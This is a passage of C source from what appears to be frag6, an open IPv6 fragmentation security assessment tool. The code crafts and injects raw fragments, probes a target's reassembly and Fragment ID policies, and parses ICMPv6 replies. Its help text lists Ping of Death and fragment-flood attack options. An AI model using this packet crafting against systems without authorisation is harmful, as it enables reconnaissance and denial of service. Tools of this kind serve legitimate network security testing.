overlap, block6)){
test[0]= LAST_COPY;
}
else{
test[0]= UNKNOWN_COPY;
}
(*responses)++;
}
else if(test_frag_pattern( ((unsigned char *) pkt_icmp6 + sizeof(struct icmp6_hdr)), FRAG_BLOCK_SIZE, block2)){
if(!valid_icmp6_response2(idata, pkthdr, pktdata, sizeof(struct ip6_hdr) + \
sizeof(struct icmp6_hdr)+minfragsize * 3-overlap)){
return;
}
if(test_frag_pattern((unsigned char *)pkt_icmp6+(sizeof(struct icmp6_hdr)+minfragsize-overlap), overlap, block2)){
test[1]= FIRST_COPY;
}
else if(test_frag_pattern((unsigned char *)pkt_icmp6+(sizeof(struct icmp6_hdr)+minfragsize-overlap), \
overlap, block7)){
test[1]= LAST_COPY;
}
else{
test[1]= UNKNOWN_COPY;
}
(*responses)++;
}
else if(test_frag_pattern( ((unsigned char *) pkt_icmp6 + sizeof(struct icmp6_hdr)), FRAG_BLOCK_SIZE, block3)){
if(!valid_icmp6_response2(idata, pkthdr, pktdata, sizeof(struct ip6_hdr) + \
sizeof(struct icmp6_hdr)+minfragsize * 3-overlap)){
return;
}
if(test_frag_pattern((unsigned char *)pkt_icmp6+(sizeof(struct icmp6_hdr)+minfragsize * 2-overlap),\
overlap, block6)){
test[2]= FIRST_COPY;
}
else if(test_frag_pattern((unsigned char *)pkt_icmp6+(sizeof(struct icmp6_hdr)+minfragsize * 2-overlap), \
overlap, block7)){
test[2]= LAST_COPY;
}
else{
test[2]= UNKNOWN_COPY;
}
(*responses)++;
}
else if(test_frag_pattern( ((unsigned char *) pkt_icmp6 + sizeof(struct icmp6_hdr)), FRAG_BLOCK_SIZE, block4)){
if(!valid_icmp6_response2(idata, pkthdr, pktdata, sizeof(struct ip6_hdr) + \
sizeof(struct icmp6_hdr)+minfragsize * 4)){
return;
}
if(test_frag_pattern((unsigned char *)pkt_icmp6+(sizeof(struct icmp6_hdr)+minfragsize * 2), \
minfragsize, block6)){
test[3]= FIRST_COPY;
}
else if(test_frag_pattern((unsigned char *)pkt_icmp6+(sizeof(struct icmp6_hdr)+minfragsize * 2), \
minfragsize, block7)){
test[3]= LAST_COPY;
}
else{
test[3]= UNKNOWN_COPY;
}
(*responses)++;
}
else if(test_frag_pattern( ((unsigned char *) pkt_icmp6 + sizeof(struct icmp6_hdr)), FRAG_BLOCK_SIZE, block5)){
if(!valid_icmp6_response2(idata, pkthdr, pktdata, sizeof(struct ip6_hdr) + \
sizeof(struct icmp6_hdr)+minfragsize * 4 - overlap)){
return;
}
if(test_frag_pattern((unsigned char *)pkt_icmp6+(sizeof(struct icmp6_hdr)+minfragsize * 2), \
minfragsize, block6)){
test[4]= FIRST_COPY;
}
else if(test_frag_pattern((unsigned char *)pkt_icmp6+(sizeof(struct icmp6_hdr)+minfragsize * 2), \
minfragsize, block7)){
test[4]= LAST_COPY;
}
else{
test[4]= UNKNOWN_COPY;
}
(*responses)++;
}
else{
if(idata->verbose_f)
puts("ICMPv6 Echo Reply for unknown probe type");
}
}
/*
* Function: process_icmp6_timed()
*
* Process ICMPv6 Time Exceeded messages received in response to our probe packets that investigate
* the fragment reassembly policy of a target
*/
void process_icmp6_timed(struct iface_data *idata, struct pcap_pkthdr *pkthdr, const u_char *pktdata, unsigned char *test){
struct ip6_hdr *pkt_ipv6, *pkt_ipv6_ipv6;
struct icmp6_hdr *pkt_icmp6, *pkt_icmp6_icmp6;
struct ip6_ext *pkt_ext;
struct ip6_frag *pkt_fh_fh;
uint8_t pkt_prev_nh;
pkt_ipv6 = (struct ip6_hdr *) (pktdata + idata->linkhsize);
pkt_icmp6= (struct icmp6_hdr *) ((unsigned char *) pkt_ipv6 + sizeof(struct ip6_hdr));
pkt_ipv6_ipv6= (struct ip6_hdr *) ((unsigned char *)pkt_icmp6+ sizeof(struct icmp6_hdr));
pkt_fh_fh= NULL;
pkt_ext= (struct ip6_ext *) ((unsigned char *)pkt_ipv6_ipv6 + sizeof(struct ip6_hdr));
pkt_prev_nh= (pkt_ipv6_ipv6->ip6_nxt);
while(pkt_prev_nh != IPPROTO_ICMPV6 && \
( (unsigned char *)pkt_ext + (pkt_ext->ip6e_len * 8 + 1)) < pkt_end){
if(pkt_prev_nh == IPPROTO_FRAGMENT)
pkt_fh_fh= (struct ip6_frag *) pkt_ext;
pkt_prev_nh= pkt_ext->ip6e_nxt;
pkt_ext= (struct ip6_ext *) ( (unsigned char *)pkt_ext + ((pkt_ext->ip6e_len + 1) * 8));
}
if(pkt_prev_nh == IPPROTO_ICMPV6){
pkt_icmp6_icmp6= (struct icmp6_hdr *) pkt_ext;
if( ((unsigned char *) pkt_icmp6_icmp6 + (sizeof(struct icmp6_hdr)+ sizeof(struct ip6_hdr)+ \
sizeof(struct ip6_frag)+sizeof(struct icmp6_hdr))) > pkt_end)
return;
}
else{
return;
}
if(pkt_fh_fh == NULL)
return;
/*
* We can only check the embedded ICMPv6 header if the embedded fragment is the first fragment of
* a packet
*/
if(ntohs(pkt_fh_fh->ip6f_offlg & IP6F_OFF_MASK) == 0){
if(pkt_icmp6_icmp6->icmp6_type != ICMP6_ECHO_REQUEST){
return;
}
if(pkt_icmp6_icmp6->icmp6_data16[0] != htons(getpid())){
return;
}
}
else{
return;
}
if(test_frag_pattern( ((unsigned char *) pkt_icmp6_icmp6 + sizeof(struct icmp6_hdr)), FRAG_BLOCK_SIZE, block1)){
if(!valid_icmp6_response2(idata, pkthdr, pktdata, sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr) + \
sizeof(struct ip6_frag) + sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr)+minfragsize)){
return;
}
else{
test[0]= TIME_EXCEEDED;
}
}
else if(test_frag_pattern( ((unsigned char *) pkt_icmp6_icmp6 + sizeof(struct icmp6_hdr)), FRAG_BLOCK_SIZE, block2)){
if(!valid_icmp6_response2(idata, pkthdr, pktdata, sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr) + \
sizeof(struct ip6_frag) + sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr)+minfragsize)){
return;
}
test[1]= TIME_EXCEEDED;
}
else if(test_frag_pattern( ((unsigned char *) pkt_icmp6_icmp6 + sizeof(struct icmp6_hdr)), FRAG_BLOCK_SIZE, block3)){
if(!valid_icmp6_response2(idata, pkthdr, pktdata, sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr) + \
sizeof(struct ip6_frag) + sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr)+minfragsize)){
return;
}
test[2]= TIME_EXCEEDED;
}
else if(test_frag_pattern( ((unsigned char *) pkt_icmp6_icmp6 + sizeof(struct icmp6_hdr)), FRAG_BLOCK_SIZE, block4)){
if(!valid_icmp6_response2(idata, pkthdr, pktdata, sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr) + \
sizeof(struct ip6_frag) + sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr)+minfragsize)){
return;
}
test[3]= TIME_EXCEEDED;
}
else if(test_frag_pattern( ((unsigned char *) pkt_icmp6_icmp6 + sizeof(struct icmp6_hdr)), FRAG_BLOCK_SIZE, block5)){
if(!valid_icmp6_response2(idata, pkthdr, pktdata, sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr) + \
sizeof(struct ip6_frag) + sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr)+minfragsize)){
return;
}
test[4]= TIME_EXCEEDED;
}
else{
test[4]= UNKNOWN_COPY;
}
}
/*
* Function: send_fragment2()
*
* Sends an IPv6 for evaluating the fragment reassembly policy
*/
int send_fragment2(struct iface_data *idata, uint16_t ip6len, unsigned int id, unsigned int offset, unsigned int fsize, unsigned int order, \
char *block){
unsigned char *ptrend;
ethernet= (struct ether_header *) buffer;
dlt_null= (struct dlt_null *) buffer;
v6buffer = buffer + idata->linkhsize;
ipv6 = (struct ip6_hdr *) v6buffer;
fsize= (fsize>>3) << 3;
if(idata->type == DLT_EN10MB){
ethernet->ether_type = htons(ETHERTYPE_IPV6);
if(!(idata->flags & IFACE_LOOPBACK)){
ethernet->src = idata->hsrcaddr;
ethernet->dst = idata->hdstaddr;
}
}
else if(idata->type == DLT_NULL){
dlt_null->family= PF_INET6;
}
#if defined (__OpenBSD__)
else if(idata->type == DLT_LOOP){
dlt_null->family= htonl(PF_INET6);
}
#endif
ipv6->ip6_flow=0;
ipv6->ip6_vfc= 0x60;
ipv6->ip6_hlim= hoplimit;
ipv6->ip6_src= idata->srcaddr;
ipv6->ip6_dst= idata->dstaddr;
prev_nh = (unsigned char *) &(ipv6->ip6_nxt);
ptr = (unsigned char *) v6buffer + MIN_IPV6_HLEN;
/* Check that we are able to send the Unfragmentable Part, together with a
Fragment Header and a chunk data over our link layer
*/
if( (ptr+sizeof(struct ip6_frag)+fsize) > (v6buffer+idata->mtu)){
puts("Unfragmentable part too large for current MTU");
return(-1);
}
/* We prepare a separete Fragment Header, but we do not include it in the packet to be sent.
This Fragment Header will be used (an assembled with the rest of the packet by the
send_packet() function.
*/
fh= (struct ip6_frag *) ptr;
memset(ptr, 0, FRAG_HDR_SIZE);
fh->ip6f_ident= htonl(id);
if(order == LAST_FRAGMENT || order==ATOMIC_FRAGMENT){
m=0;
}
else{
m=IP6F_MORE_FRAG;
}
if(order==FIRST_FRAGMENT || order==ATOMIC_FRAGMENT)
offset=0;
fh->ip6f_offlg = (htons(offset) & IP6F_OFF_MASK) | m;
*prev_nh = IPPROTO_FRAGMENT;
prev_nh = (unsigned char *) fh;
ptr+= sizeof(struct ip6_frag);
*prev_nh = IPPROTO_ICMPV6;
if(order == FIRST_FRAGMENT || order==ATOMIC_FRAGMENT){
if((ptr+ sizeof(struct icmp6_hdr)) > (v6buffer+idata->max_packet_size)){
puts("Packet too large while inserting ICMPv6 header");
return(-1);
}
icmp6 = (struct icmp6_hdr *) ptr;
icmp6->icmp6_type = ICMP6_ECHO_REQUEST;
icmp6->icmp6_code = 0;
icmp6->icmp6_cksum = 0;
icmp6->icmp6_data16[0]= htons(getpid()); /* Identifier */
icmp6->icmp6_data16[1]= htons(random()); /* Sequence Number */
ptr+= sizeof(struct icmp6_hdr);
for(i=0; i< (fsize/8); i++){
memcpy(ptr, block, FRAG_BLOCK_SIZE);
ptr += FRAG_BLOCK_SIZE;
}
ptrend=ptr;
for(i=0; i< (ip6len-sizeof(struct icmp6_hdr)-fsize)/8; i++){
memcpy(ptr, block, FRAG_BLOCK_SIZE);
ptr += FRAG_BLOCK_SIZE;
}
/* Length of the reassembled fragment */
ipv6->ip6_plen= htons(ip6len);
icmp6->icmp6_cksum = in_chksum(v6buffer, icmp6, ptr-((unsigned char *)icmp6), IPPROTO_ICMPV6);
ptr= ptrend;
/* Length of the current fragment */
ipv6->ip6_plen= htons(ptr-(v6buffer + MIN_IPV6_HLEN));
}
else{
if((ptr+ fsize) > (v6buffer+idata->max_packet_size)){
puts("Packet too large while inserting timestamp");
return(-1);
}
for(i=0; i< (fsize/8); i++){
memcpy(ptr, block, FRAG_BLOCK_SIZE);
ptr += FRAG_BLOCK_SIZE;
}
ipv6->ip6_plen= htons(ptr-(v6buffer + MIN_IPV6_HLEN));
}
if((nw=pcap_inject(idata->pfd, buffer, ptr - buffer)) == -1){
printf("pcap_inject(): %s\n", pcap_geterr(idata->pfd));
return(-1);
}
if(nw != (ptr- buffer)){
printf("pcap_inject(): only wrote %lu bytes (rather than %lu bytes)\n", (LUI) nw, (LUI) (ptr-buffer));
return(-1);
}
return 0;
}
/*
* Function: send_fragment()
*
* Sends an IPv6 fragment
*/
int send_fragment(struct iface_data *idata, unsigned int id, unsigned int offset, unsigned int fsize, \
unsigned int forder, unsigned int tstamp_f){
uint32_t tstamp;
unsigned int i;
ethernet= (struct ether_header *) buffer;
dlt_null= (struct dlt_null *) buffer;
v6buffer = buffer + idata->linkhsize;
ipv6 = (struct ip6_hdr *) v6buffer;
if(idata->type == DLT_EN10MB){
ethernet->ether_type = htons(ETHERTYPE_IPV6);
if(!(idata->flags & IFACE_LOOPBACK)){
ethernet->src = idata->hsrcaddr;
ethernet->dst = idata->hdstaddr;
}
}
else if(idata->type == DLT_NULL){
dlt_null->family= PF_INET6;
}
#if defined (__OpenBSD__)
else if(idata->type == DLT_LOOP){
dlt_null->family= htonl(PF_INET6);
}
#endif
ipv6->ip6_flow=0;
ipv6->ip6_vfc= 0x60;
ipv6->ip6_hlim= hoplimit;
ipv6->ip6_src= idata->srcaddr;
ipv6->ip6_dst= idata->dstaddr;
prev_nh = (unsigned char *) &(ipv6->ip6_nxt);
ptr = (unsigned char *) v6buffer + MIN_IPV6_HLEN;
if(hbhopthdr_f){
hbhopthdrs=0;
while(hbhopthdrs < nhbhopthdr){
if((ptr+ hbhopthdrlen[hbhopthdrs]) > (v6buffer+ idata->mtu)){
puts("Packet too large while processing HBH Opt. Header");
return(-1);
}
*prev_nh = IPPROTO_HOPOPTS;
prev_nh = ptr;
memcpy(ptr, hbhopthdr[hbhopthdrs], hbhopthdrlen[hbhopthdrs]);
ptr = ptr + hbhopthdrlen[hbhopthdrs];
hbhopthdrs++;
}
}
if(dstoptuhdr_f){
dstoptuhdrs=0;
while(dstoptuhdrs < ndstoptuhdr){
if((ptr+ dstoptuhdrlen[dstoptuhdrs]) > (v6buffer+ idata->mtu)){
puts("Packet too large while processing Dest. Opt. Header (Unfrag. Part)");
return(-1);
}
*prev_nh = IPPROTO_DSTOPTS;
prev_nh = ptr;
memcpy(ptr, dstoptuhdr[dstoptuhdrs], dstoptuhdrlen[dstoptuhdrs]);
ptr = ptr + dstoptuhdrlen[dstoptuhdrs];
dstoptuhdrs++;
}
}
if(!fsize_f && (forder != LAST_FRAGMENT && forder != ATOMIC_FRAGMENT)){
fsize= (fsize>>3) << 3;
}
/* Check that we are able to send the Unfragmentable Part, together with a
Fragment Header and a chunk data over our link layer
*/
if( (ptr+sizeof(struct ip6_frag)+fsize) > (v6buffer+idata->mtu)){
printf("Unfragmentable part too large for current MTU (%u bytes)\n", idata->mtu);
return(-1);
}
/* We prepare a separete Fragment Header, but we do not include it in the packet to be sent.
This Fragment Header will be used (an assembled with the rest of the packet by the
send_packet() function.
*/
fh= (struct ip6_frag *) ptr;
memset(ptr, 0, FRAG_HDR_SIZE);
fh->ip6f_ident= htonl(id);
if(forder == LAST_FRAGMENT || forder == ATOMIC_FRAGMENT)
m=0;
else
m=IP6F_MORE_FRAG;
if((forder==FIRST_FRAGMENT || forder==ATOMIC_FRAGMENT) && !foffset_f)
offset=0;
fh->ip6f_offlg = (htons(offset) & IP6F_OFF_MASK) | m;
*prev_nh = IPPROTO_FRAGMENT;
prev_nh = (unsigned char *) fh;
ptr+= sizeof(struct ip6_frag);
if(dstopthdr_f){
dstopthdrs=0;
while(dstopthdrs < ndstopthdr){
if((ptr+ dstopthdrlen[dstopthdrs]) > (v6buffer+idata->max_packet_size)){
puts("Packet too large while processing Dest. Opt. Header (should be using the Frag. option?)");
return(-1);
}
*prev_nh = IPPROTO_DSTOPTS;
prev_nh = ptr;
memcpy(ptr, dstopthdr[dstopthdrs], dstopthdrlen[dstopthdrs]);
ptr = ptr + dstopthdrlen[dstopthdrs];
dstopthdrs++;
}
}
*prev_nh = IPPROTO_ICMPV6;
if(forder == FIRST_FRAGMENT || forder == ATOMIC_FRAGMENT){
if((ptr+ fsize) > (v6buffer+idata->max_packet_size)){
puts("Packet too large while inserting ICMPv6 header");
return(-1);
}
if(fsize < sizeof(struct icmp6_hdr)){
if(idata->verbose_f)
puts("Fragment size too small to hold an ICMPv6 header");
return(-1);
}
icmp6 = (struct icmp6_hdr *) ptr;
icmp6->icmp6_type = ICMP6_ECHO_REQUEST;
icmp6->icmp6_code = 0;
icmp6->icmp6_cksum = 0;
icmp6->icmp6_data16[0]= htons(getpid()); /* Identifier */
icmp6->icmp6_data16[1]= htons(random()); /* Sequence Number */
ptr+= sizeof(struct icmp6_hdr);
fsize-= sizeof(struct icmp6_hdr);
if(tstamp_f && fsize >= (sizeof(uint32_t)+sizeof(uint32_t))){
if((ptr+ (sizeof(uint32_t) + sizeof(uint32_t))) > (v6buffer+idata->max_packet_size)){
puts("Packet too large while inserting timestamp");
return(-1);
}
/* We include a timstamp to be able to measure the Fragment Reassembly timeout */
tstamp= (uint32_t) time(NULL);
*(uint32_t *)ptr= tstamp;
ptr+= sizeof(uint32_t);
/* We include a "checksum" such that we can tell the responses we elicit from other packets */
*(uint32_t *)ptr= (uint32_t)tstamp ^ 0xabcdabcd;
ptr+= sizeof(uint32_t);
if(fsize > (sizeof(uint32_t)+sizeof(uint32_t)))
fsize-= (sizeof(uint32_t)+sizeof(uint32_t));
else
fsize=0;
}
for(i=0; i< (fsize/4); i++){
*(uint32_t *)ptr = random();
ptr += sizeof(uint32_t);
}
ipv6->ip6_plen= htons(ptr-(v6buffer + MIN_IPV6_HLEN));
icmp6->icmp6_cksum = in_chksum(v6buffer, icmp6, ptr-((unsigned char *)icmp6), IPPROTO_ICMPV6);
}
else{
/* XXX: Should check */
if(tstamp_f){
if((ptr+ (sizeof(uint32_t) + sizeof(uint32_t))) > (v6buffer+idata->max_packet_size)){
puts("Packet too large while inserting timestamp");
return(-1);
}
/* We include a timstamp to be able to measure the Fragment Reassembly timeout */
tstamp= (uint32_t)time(NULL);
*(uint32_t *)ptr= tstamp;
ptr+= sizeof(time_t);
/* We include a "checksum" such that we can tell the responses we elicit from other packets */
*(uint32_t *)ptr= (uint32_t)tstamp ^ 0xabcdabcd;
ptr+= sizeof(uint32_t);
if(fsize > (sizeof(uint32_t)+sizeof(uint32_t)))
fsize-= (sizeof(uint32_t)+sizeof(uint32_t));
else
fsize=0;
}
if((ptr+ fsize) > (v6buffer+idata->max_packet_size)){
puts("Packet too large while inserting payload");
return(-1);
}
for(i=0; i<(fsize/sizeof(uint32_t)); i++){
*(uint32_t *)ptr = random();
ptr += sizeof(uint32_t);
}
ipv6->ip6_plen= htons(ptr-(v6buffer + MIN_IPV6_HLEN));
}
if((nw=pcap_inject(idata->pfd, buffer, ptr - buffer)) == -1){
printf("pcap_inject(): %s\n", pcap_geterr(idata->pfd));
return(-1);
}
if(nw != (ptr- buffer)){
printf("pcap_inject(): only wrote %lu bytes (rather than %lu bytes)\n", (LUI) nw, (LUI) (ptr-buffer));
return(-1);
}
return 0;
}
/*
* Function: send_fid_probe()
*
* Send a fragmented ICMPv6 Echo Request used for sampling the Fragment Identification
* values sent by the target
*/
int send_fid_probe(struct iface_data *idata){
unsigned char fragbuffer[FRAG_BUFFER_SIZE];
struct ip6_frag *frag;
struct ether_header *ethernet;
struct ip6_hdr *ipv6;
unsigned char *fptr, *fptrend;
unsigned int i;
ethernet= (struct ether_header *) buffer;
v6buffer = buffer + idata->linkhsize;
ipv6 = (struct ip6_hdr *) v6buffer;
if(idata->type == DLT_EN10MB){
ethernet->ether_type = htons(ETHERTYPE_IPV6);
if(!(idata->flags & IFACE_LOOPBACK)){
ethernet->src = idata->hsrcaddr;
ethernet->dst = idata->hdstaddr;
}
}
else if(idata->type == DLT_NULL){
dlt_null->family= PF_INET6;
}
ipv6->ip6_flow=0;
ipv6->ip6_vfc= 0x60;
ipv6->ip6_hlim= hoplimit;
ipv6->ip6_src= idata->srcaddr;
ipv6->ip6_dst= idata->dstaddr;
ipv6->ip6_nxt= IPPROTO_FRAGMENT;
/* ptr always points to the part of the original packet that is being crafted */
ptr = (unsigned char *) v6buffer + sizeof(struct ip6_hdr);
frag= (struct ip6_frag *) ptr;
memset(frag, 0, sizeof(struct ip6_frag));
frag->ip6f_nxt= IPPROTO_ICMPV6;
ptr+= sizeof(struct ip6_frag);
/* fragpart points to the beginning of the fragmentable part of the original packet */
fragpart= ptr;
icmp6 = (struct icmp6_hdr *) ptr;
icmp6->icmp6_type = ICMP6_ECHO_REQUEST;
icmp6->icmp6_code = 0;
icmp6->icmp6_cksum = 0;
icmp6->icmp6_data16[0]= htons(getpid()); /* Identifier */
icmp6->icmp6_data16[1]= htons(random()); /* Sequence Number */
ptr+= sizeof(struct icmp6_hdr);
*(uint32_t *)ptr= icmp6_sig;
ptr+= sizeof(uint32_t);
for(i=0;i<400; i++){
*(uint32_t *)ptr= random();
ptr+=sizeof(uint32_t);
}
icmp6->icmp6_cksum = in_chksum(v6buffer, icmp6, ptr-(unsigned char *)icmp6, IPPROTO_ICMPV6);
/* ptrend points to the end of the original packet */
ptrend= ptr;
ptr= fragpart;
/* fptr points to the part of the fragment that is being crafted */
fptr = fragbuffer;
fipv6 = (struct ip6_hdr *) (fragbuffer + idata->linkhsize);
fptrend = fptr + FRAG_BUFFER_SIZE;
/* Copy everything from the Ethernet header, up to (and including) the Fragmentation Header */
memcpy(fptr, buffer, fragpart-buffer);
fptr = fptr + (fragpart-buffer);
fh= (struct ip6_frag *) (fragbuffer + idata->linkhsize + sizeof(struct ip6_hdr));
fh->ip6f_ident=random();
startoffragment = fptr;
/* We'll be sending packets of at most 1280 bytes (the IPv6 minimum MTU) */
fragsize= ((MIN_IPV6_MTU - sizeof(struct ip6_hdr) - sizeof(struct ip6_frag)) >> 3) << 3;
/*
* Check that the selected fragment size is not larger than the largest
* fragment size that can be sent. This chec will always be passed, but is useful
* when future versions of the tool support other link-layer technologies.
*/
if( (startoffragment + fragsize) > fptrend){
printf("Fragment size too large to fit into fragmentation buffer\n");
return(-1);
}
m=IP6F_MORE_FRAG;
while((ptr< ptrend) && m==IP6F_MORE_FRAG){
fptr= startoffragment;
if( (ptrend-ptr) <= fragsize){
fragsize= ptrend-ptr;
m=0;
}
memcpy(fptr, ptr, fragsize);
fh->ip6f_offlg = (htons(ptr-fragpart) & IP6F_OFF_MASK) | m;
ptr+=fragsize;
fptr+=fragsize;
fipv6->ip6_plen = htons((fptr - fragbuffer) - MIN_IPV6_HLEN - idata->linkhsize);
if((nw=pcap_inject(idata->pfd, fragbuffer, fptr - fragbuffer)) == -1){
printf("pcap_inject(): %s\n", pcap_geterr(idata->pfd));
return(-1);
}
if(nw != (fptr- fragbuffer)){
printf("pcap_inject(): only wrote %lu bytes (rather than %lu bytes)\n", \
(LUI) nw, (LUI) (ptr-buffer));
return(-1);
}
} /* Sending fragments */
return(0);
}
/*
* Function: usage()
*
* Prints the syntax of the frag6 tool
*/
void usage(void){
puts("usage: frag6 -d DST_ADDR [-i INTERFACE] [-S LINK_SRC_ADDR] [-D LINK-DST-ADDR]\n"
" [-s SRC_ADDR[/LEN]] [-A HOP_LIMIT] [-u DST_OPT_HDR_SIZE]\n"
" [-U DST_OPT_U_HDR_SIZE] [-H HBH_OPT_HDR_SIZE] [-P FRAG_SIZE]\n"
" [-O FRAG_TYPE] [-o FRAG_OFFSET] [-I FRAG_ID] [-T] [-n]\n"
" [-p | -W | -X | -F N_FRAGS] [-l] [-z SECONDS] [-v] [-h]");
}
/*
* Function: print_help()
*
* Prints help information for the frag6 tool
*/
void print_help(void){
puts(SI6_TOOLKIT);
puts( "frag6: A security assessment tool for attack vectors based on IPv6 fragments\n");
usage();
puts("\nOPTIONS:\n"
" --interface, -i Network interface\n"
" --link-src-address, -S Link-layer Destination Address\n"
" --link-dst-address, -D Link-layer Source Address\n"
" --src-address, -s IPv6 Source Address\n"
" --dst-address, -d IPv6 Destination Address\n"
" --hop-limit, -A IPv6 Hop Limit\n"
" --dst-opt-hdr, -u Destination Options Header (Fragmentable Part)\n"
" --dst-opt-u-hdr, -U Destination Options Header (Unfragmentable Part)\n"
" --hbh-opt-hdr, -H Hop by Hop Options Header\n"
" --frag-size, -P IPv6 fragment payload size\n"
" --frag-type, -O IPv6 Fragment Type {first, last, middle, atomic}\n"
" --frag-offset, -o IPv6 Fragment Offset\n"
" --frag-id, -I IPv6 Fragment Identification\n"
" --no-timestamp, -T Do not include a timestamp in the payload\n"
" --no-responses, -n Do not print responses to transmitted packets\n"
" --frag-reass-policy, -p Assess fragment reassembly policy\n"
" --frag-id-policy, -W Assess the Fragment ID generation policy\n"
" --pod-attack, -X Perform a 'Ping of Death' attack\n"
" --flood-frags, -F Flood target with IPv6 fragments\n"
" --loop, -l Send IPv6 fragments periodically\n"
" --sleep, -z Pause between sending IPv6 fragments\n"
" --verbose, -v Be verbose\n"
" --help, -h Print help for the frag6 tool\n"
"\n"
"Programmed by Fernando Gont for SI6 Networks (http://www.si6networks.com)\n"
"Please send any bug reports to <fgont@si6networks.com>\n"
);
}
/*
* Function: print_attack_info()
*
* Prints attack details (when the verbose ("-v") option is specified).
*/
void print_attack_info(struct iface_data *idata){
if(idata->type == DLT_EN10MB && !(idata->flags & IFACE_LOOPBACK)){
if(ether_ntop(&(idata->hsrcaddr), plinkaddr, sizeof(plinkaddr)) == 0){
puts("ether_ntop(): Error converting address");
exit(EXIT_FAILURE);
}
printf("Ethernet Source Address: %s%s\n", plinkaddr, (!idata->hsrcaddr_f)?" (automatically selected)":"");
/*
Ethernet Destination Address only used if a IPv6 Destination Address or an
Ethernet Destination Address were specified.
*/
if(ether_ntop(&(idata->hdstaddr), plinkaddr, sizeof(plinkaddr)) == 0){
puts("ether_ntop(): Error converting address");
exit(EXIT_FAILURE);
}
printf("Ethernet Destination Address: %s%s\n", plinkaddr, (!idata->hdstaddr_f)?" (automatically selected)":"");
}
if(idata->srcaddr_f){
if(inet_ntop(AF_INET6, &(idata->srcaddr), psrcaddr, sizeof(psrcaddr)) == NULL){
puts("inet_ntop(): Error converting IPv6 Source Address to presentation format");
exit(EXIT_FAILURE);
}
printf("IPv6 Source Address: %s%s\n", psrcaddr, ((idata->srcaddr_f != TRUE)?" (automatically selected)":""));
}
if(inet_ntop(AF_INET6, &(idata->dstaddr), pdstaddr, sizeof(pdstaddr)) == NULL){
puts("inet_ntop(): Error converting IPv6 Destination Address to presentation format");
exit(EXIT_FAILURE);
}
printf("IPv6 Destination Address: %s\n", pdstaddr);
printf("IPv6 Hop Limit: %u%s\n", hoplimit, (hoplimit_f)?"":" (randomized)");
for(i=0; i<ndstoptuhdr; i++)
printf("Destination Options Header (Unfragmentable part): %u bytes\n", dstoptuhdrlen[i]);
for(i=0; i<nhbhopthdr; i++)
printf("Hop by Hop Options Header: %u bytes\n", hbhopthdrlen[i]);
for(i=0; i<ndstopthdr; i++)
printf("Destination Options Header: %u bytes\n", dstopthdrlen[i]);
}
/*
* Function: valid_icmp6_response()
*
* Checks whether the response to an ICMPv6 probe is valid
*/
int valid_icmp6_response(struct iface_data *idata, struct pcap_pkthdr *pkthdr, const u_char *pktdata){
struct ether_header *pkt_ether;
struct ip6_hdr *pkt_ipv6, *pkt_ipv6_ipv6;
struct ip6_ext *pkt_ext;
struct icmp6_hdr *pkt_icmp6, *pkt_icmp6_icmp6;
struct ip6_frag *pkt_fh_fh;
unsigned char *pkt_end, *pkt_ptr;
uint8_t pkt_prev_nh;
unsigned int minfragsize;
pkt_ether = (struct ether_header *) pktdata;
pkt_ipv6 = (struct ip6_hdr *)((char *) pkt_ether + idata->linkhsize);
pkt_icmp6 = (struct icmp6_hdr *) ((char *) pkt_ipv6 + MIN_IPV6_HLEN);
pkt_icmp6_icmp6= (struct icmp6_hdr *) ((unsigned char *) pkt_icmp6 + sizeof(struct icmp6_hdr) +\
sizeof(struct ip6_hdr) + MIN_HBH_LEN);
pkt_end = (unsigned char *) pktdata + pkthdr->caplen;
/* The packet length is the minimum of what we capured, and what is specified in the
IPv6 Total Lenght field
*/
if( pkt_end > ((unsigned char *)pkt_icmp6 + pkt_ipv6->ip6_plen) )
pkt_end = (unsigned char *)pkt_icmp6 + pkt_ipv6->ip6_plen;
switch(pkt_icmp6->icmp6_type){
case ICMP6_ECHO_REPLY:
/*
Discard the packet if it is not of the minimum size to contain an ICMPv6
header and the payload we included in the ICMPv6 Echo Request
*/
if( (pkt_end - (unsigned char *) pkt_icmp6) < (sizeof(struct icmp6_hdr) + \
fsize) && (pkt_end - (unsigned char *) pkt_ipv6) < MIN_IPV6_MTU){
return 0;
}
/* Check that the ICMPv6 checksum is correct */
if(in_chksum(pkt_ipv6, pkt_icmp6, pkt_end-((unsigned char *)pkt_icmp6), IPPROTO_ICMPV6) != 0){
return 0;
}
if(pkt_icmp6->icmp6_data16[0] != htons(getpid())){
return 0;
}
if(tstamp_f){
pkt_ptr= ((unsigned char *) pkt_icmp6+ sizeof(struct icmp6_hdr));
if( *((uint32_t *) pkt_ptr) != (*((uint32_t *) (pkt_ptr+sizeof(uint32_t))) ^ 0xabcdabcd)){
return 0;
}
}
break;
case ICMP6_TIME_EXCEEDED:
/*
Discard the packet if it is not of the minimum size to contain an ICMPv6
header and the payload we included in the ICMPv6 Echo Request
*/
minfragsize= sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr)+sizeof(struct ip6_hdr) + \
sizeof(struct ip6_frag) + sizeof(struct icmp6_hdr) + (fsize_f?fsize:MIN_FRAG_SIZE) + \
(tstamp_f?(sizeof(time_t)+sizeof(uint32_t)):0);
if( ((pkt_end - (unsigned char *) pkt_ipv6) < minfragsize) && \
(pkt_end - (unsigned char *) pkt_ipv6) < MIN_IPV6_MTU){
return 0;
}
pkt_ipv6_ipv6= (struct ip6_hdr *) ((unsigned char *)pkt_icmp6+ sizeof(struct icmp6_hdr));
pkt_fh_fh= NULL;
pkt_ext= (struct ip6_ext *) ((unsigned char *)pkt_ipv6_ipv6 + sizeof(struct ip6_hdr));
pkt_prev_nh= (pkt_ipv6_ipv6->ip6_nxt);
while(pkt_prev_nh != IPPROTO_ICMPV6 && \
( (unsigned char *)pkt_ext + (pkt_ext->ip6e_len * 8 + 1)) < pkt_end){
if(pkt_prev_nh == IPPROTO_FRAGMENT)
pkt_fh_fh= (struct ip6_frag *) pkt_ext;
pkt_prev_nh= pkt_ext->ip6e_nxt;
